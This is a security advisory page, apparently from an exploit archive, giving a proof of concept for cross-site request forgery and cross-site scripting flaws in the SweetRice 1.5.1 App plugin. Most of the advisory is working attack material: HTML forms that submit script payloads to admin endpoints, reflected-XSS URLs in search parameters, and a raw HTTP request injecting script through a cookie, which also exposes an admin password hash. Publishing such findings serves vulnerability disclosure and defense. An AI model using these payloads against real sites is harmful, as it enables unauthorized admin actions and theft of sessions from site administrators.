what you don't know can hurt you

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting
Posted Nov 7, 2016
Authored by Ashiyane Digital Security Team

SweetRice version 1.5.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 3f82b32d23fef6951ea0028c40d24365

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
<!--
Title: SweetRice App Plugin - Multiple XSS / CSRF
Application: App Plugin
Versions Affected: 1.0
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Bugs: CSRF & XSS
Date: 17-Sept-2016

Proof of Concept :

1. Stored Xss in Custom App URL:
Vulnerable Parameter : url[home]
-->
<form method="post"
action="http://localhost/as/?app_mode=links&plugin=App&type=plugin">
<input type="text" name="url[home]"
value='"><script>alert(1)</script>'>
<input type="hidden" name="lids[home]" value="1">
<input type="submit" value="Done">
</form>
<!--
2. Xss in search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=database&keyword="><script>alert(1)</script>

3. Xss in Page Limit:
Payload should inject in cookies.
Vulnerable Parameter : page_limit
Headers :

GET /as/?app_mode=database&plugin=App&type=plugin& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/1/as/?app_mode=database&plugin=App&type=plugin&
Cookie: dashboad_bg=#3f0840; page_limit="><script>alert(1)</script>;
admin=admin; passwd=5f4dcc3b5aa765d61d8327deb882cf99; lang=en-us;
__atuvc=15|41;
grav-tabs-state={"tab-content.options.advanced":"data.content"};
sweetrice=5h30gqavosudpnferatlh9oca4
Connection: keep-alive
Upgrade-Insecure-Requests: 1

4. Stored Xss and Csrf In Create Form:
-->
<form method="post"
action="http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&mode=insert">
<input type="hidden" name="id" value="">
<input type="hidden" id="name" name="name"
value='<script>alert(1)</script>'>
<input type="hidden" id="action" name="action"
value='<script>alert(2)</script>'>
<input type="submit" value="Done">
</form>

<!--
5. Xss in Search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&search="><script>alert(1)</script>
-->

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close